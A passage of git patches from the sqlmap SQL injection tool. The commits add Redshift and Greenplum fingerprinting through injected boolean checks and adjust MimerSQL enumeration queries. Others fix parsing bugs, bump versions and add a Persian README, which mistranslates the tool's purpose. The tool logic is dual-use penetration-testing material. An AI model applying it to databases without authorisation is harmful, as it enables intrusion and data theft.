tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 24be99e6f..0da7f2bd0 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -441,7 +441,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.isDbms(DBMS.VERTICA): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -580,7 +580,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.isDbms(DBMS.VERTICA): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is From 8d343fc2a6c2be190ae7b7e5bf8ef3d45f30bde2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Jan 2020 11:39:16 +0100 Subject: [PATCH 121/159] Adding support for Amazon Redshift (pgsql fork) --- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 8 +++++++- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 1aa1e28c5..c9b190f56 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -81,6 +81,7 @@ class FORK(object): PERCONA = "Percona" COCKROACHDB = "CockroachDB" TIDB = "TiDB" + REDSHIFT = "Amazon Redshift" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index c35c4f602..cda820f2e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.62" +VERSION = "1.4.1.63" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 1c31dcd4c..a6e1a46d8 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -29,7 +29,13 @@ class Fingerprint(GenericFingerprint): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: - fork = inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'") and FORK.COCKROACHDB or "" + if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): + fork = FORK.COCKROACHDB + elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version + fork = FORK.REDSHIFT + else: + fork = "" + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" From 8ab4f6214f8746f1a8b5df22521917d3a7c06dc0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Jan 2020 13:01:15 +0100 Subject: [PATCH 122/159] Adding recognition of Greenplum (pgsql fork) --- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 ++ 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index c9b190f56..dcdf2a397 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -82,6 +82,7 @@ class FORK(object): COCKROACHDB = "CockroachDB" TIDB = "TiDB" REDSHIFT = "Amazon Redshift" + GREENPLUM = "Greenplum" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index cda820f2e..8defff2c1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.63" +VERSION = "1.4.1.64" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index a6e1a46d8..09c5a0a6f 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -33,6 +33,8 @@ class Fingerprint(GenericFingerprint): fork = FORK.COCKROACHDB elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version fork = FORK.REDSHIFT + elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png + fork = FORK.GREENPLUM else: fork = "" From 5d7b7d6bca8054980c30565f75819eb8c34b258f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Jan 2020 21:24:20 +0100 Subject: [PATCH 123/159] Couple of patches --- data/xml/queries.xml | 16 ++++++++-------- lib/core/settings.py | 2 +- plugins/generic/databases.py | 6 +++++- plugins/generic/search.py | 2 ++ 4 files changed, 16 insertions(+), 10 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 7b15c3641..cf19795eb 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1296,26 +1296,26 @@ - + - + - + - + - + @@ -1323,15 +1323,15 @@ - + - + - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 8defff2c1..9487749ce 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.64" +VERSION = "1.4.1.65" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 2437cb3fe..d5b291b13 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -819,10 +819,14 @@ class Databases(object): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None + elif Backend.isDbms(DBMS.MIMERSQL): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None elif Backend.isDbms(DBMS.MONETDB): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 731adae3c..8b537a37e 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -561,6 +561,8 @@ class Search(object): if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) + elif " ORDER BY " in query: + query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) else: query += " AND %s" % (colQuery + whereTblsQuery) From 4e3af35ceb403c24605a0ba60d08240761021873 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Jan 2020 21:51:02 +0100 Subject: [PATCH 124/159] Fixes #4096 --- lib/core/settings.py | 2 +- lib/parse/html.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9487749ce..9ede1a7ec 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.65" +VERSION = "1.4.1.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/html.py b/lib/parse/html.py index 68fe55621..a1e412ebf 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler): self._dbms = None self._page = (page or "") - self._lower_page = self._page.lower() + try: + self._lower_page = self._page.lower() + except SystemError: # https://bugs.python.org/issue18183 + self._lower_page = None self._urldecoded_page = urldecode(self._page) self.dbms = None @@ -49,7 +52,7 @@ class HTMLHandler(ContentHandler): keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() - if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I): + if kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp]) and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() kb.forkNote = kb.forkNote or attrs.get("fork") From a4cb6dbb006455b4ad74aae0ba125a05e668e5a9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Jan 2020 22:37:39 +0100 Subject: [PATCH 125/159] Fixes #4093 --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9ede1a7ec..3b5cfa6d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.66" +VERSION = "1.4.1.67" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -790,7 +790,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data -JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" From 93aa981e4feba25359906f1d26163d47cf618bf6 Mon Sep 17 00:00:00 2001 From: elias <30974335+elias8702@users.noreply.github.com> Date: Sat, 1 Feb 2020 16:58:16 +0330 Subject: [PATCH 126/159] Add link of persian (#4099) * Add the persian translations * Update README-fa-FA.md * Update README-fa-FA.md * Update README-fa-FA.md * Update README-fa-FA.md * add to persian translations HI please add to persian translations regard: elias rohani * Add link of persian * Revert "Add link of persian" * Revert "Add link of persian" --- README.md | 3 + doc/translations/README-fa-FA.md | 115 +++++++++++++++++++++++++++++++ 2 files changed, 118 insertions(+) create mode 100644 doc/translations/README-fa-FA.md diff --git a/README.md b/README.md index 1a01b80c7..c2180d971 100644 --- a/README.md +++ b/README.md @@ -70,3 +70,6 @@ Translations * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md) + + diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md new file mode 100644 index 000000000..2dd57219a --- /dev/null +++ b/doc/translations/README-fa-FA.md @@ -0,0 +1,115 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + + +
+ + + +برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند. + + +**پروژه sqlmap درحال خاضر به دنبال اسپانسرها است.** + + + +عکس +---- + + +
+ + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +
+ +برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید. + + +نصب +---- + +برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. + + +طرز استفاده +---- + + +برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید: + + + +
+ + +``` + python sqlmap.py -h +``` + + + + +
+ + +برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید: + +
+ + +``` + python sqlmap.py -hh +``` + + +
+ + +برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. + + +لینک‌ها +---- + + +* خانه: http://sqlmap.org +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues +* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki +* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* تویتر: [@sqlmap](https://twitter.com/sqlmap) +* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + + + +ترجمه‌ها +---- + + + +* [بلغاری](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) +* [چینی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) +* [کرواتی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) +* [فرانسه](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) +* [المانی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) +* [یونانی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [اندونزی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) +* [ایتالیایی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) +* [ژاپنی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) +* [کره](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [لهستانی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) +* [پرتغالی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) +* [روسی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) +* [اسپانیایی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) +* [ترکی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) +* [اوکراینی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) +* [اوکراینی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) +* [فارسی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md) + From 2fc4d17cbc8a617270978b62c2bb1fa892f4f8b0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Feb 2020 14:36:27 +0100 Subject: [PATCH 127/159] Update regarding #4099 --- README.md | 4 +-- .../{README-fa-FA.md => README-fa-IR.md} | 33 +------------------ lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 36 deletions(-) rename doc/translations/{README-fa-FA.md => README-fa-IR.md} (65%) diff --git a/README.md b/README.md index c2180d971..a5343041a 100644 --- a/README.md +++ b/README.md @@ -64,12 +64,10 @@ Translations * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) -* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md) - - diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-IR.md similarity index 65% rename from doc/translations/README-fa-FA.md rename to doc/translations/README-fa-IR.md index 2dd57219a..df787f72d 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-IR.md @@ -10,10 +10,6 @@ برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند. -**پروژه sqlmap درحال خاضر به دنبال اسپانسرها است.** - - - عکس ---- @@ -67,7 +63,7 @@ ``` -
+
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. @@ -86,30 +82,3 @@ * تویتر: [@sqlmap](https://twitter.com/sqlmap) * رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots - - - -ترجمه‌ها ----- - - - -* [بلغاری](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) -* [چینی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) -* [کرواتی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) -* [فرانسه](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) -* [المانی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md) -* [یونانی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) -* [اندونزی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) -* [ایتالیایی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) -* [ژاپنی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) -* [کره](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) -* [لهستانی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) -* [پرتغالی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [روسی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) -* [اسپانیایی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) -* [ترکی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) -* [اوکراینی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) -* [اوکراینی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) -* [فارسی](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md) - diff --git a/lib/core/settings.py b/lib/core/settings.py index 3b5cfa6d1..4e89d1ca0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.67" +VERSION = "1.4.2.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ee7aa68da888d12a3288674fcdf8311b38d79830 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Feb 2020 14:39:11 +0100 Subject: [PATCH 128/159] Trivial patch for #4099 --- README.md | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index a5343041a..d3cc006fc 100644 --- a/README.md +++ b/README.md @@ -64,7 +64,7 @@ Translations * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) -* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4e89d1ca0..ccd11254f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.0" +VERSION = "1.4.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e448905eb1496873c2ff07d4ef8e423b32e5e595 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 1 Feb 2020 15:30:01 +0100 Subject: [PATCH 129/159] Fixes #4085 --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 7c02d6949..d3ab85112 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1649,13 +1649,13 @@ def parseTargetUrl(): else: conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query - if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): + if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0] == HTTP_HEADER.REFERER for _ in conf.httpHeaders): debugMsg = "setting the HTTP Referer header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER] conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, ""))) - if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5): + if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0] == HTTP_HEADER.HOST for _ in conf.httpHeaders): debugMsg = "setting the HTTP Host header to the target URL" logger.debug(debugMsg) conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST] diff --git a/lib/core/settings.py b/lib/core/settings.py index ccd11254f..6b8277c93 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.1" +VERSION = "1.4.2.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0e4232f533006ff08110abcba590e2b112566498 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Feb 2020 14:51:24 +0100 Subject: [PATCH 130/159] Adding support for CrateDB --- data/xml/queries.xml | 103 ++++++++++++++++++++-------- lib/controller/checks.py | 12 ++-- lib/controller/handler.py | 4 ++ lib/core/agent.py | 4 +- lib/core/common.py | 4 +- lib/core/dicts.py | 5 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 + lib/core/settings.py | 10 +-- lib/core/unescaper.py | 11 ++- lib/request/inject.py | 4 +- lib/utils/deps.py | 2 +- plugins/dbms/cratedb/__init__.py | 30 ++++++++ plugins/dbms/cratedb/connector.py | 73 ++++++++++++++++++++ plugins/dbms/cratedb/enumeration.py | 22 ++++++ plugins/dbms/cratedb/filesystem.py | 11 +++ 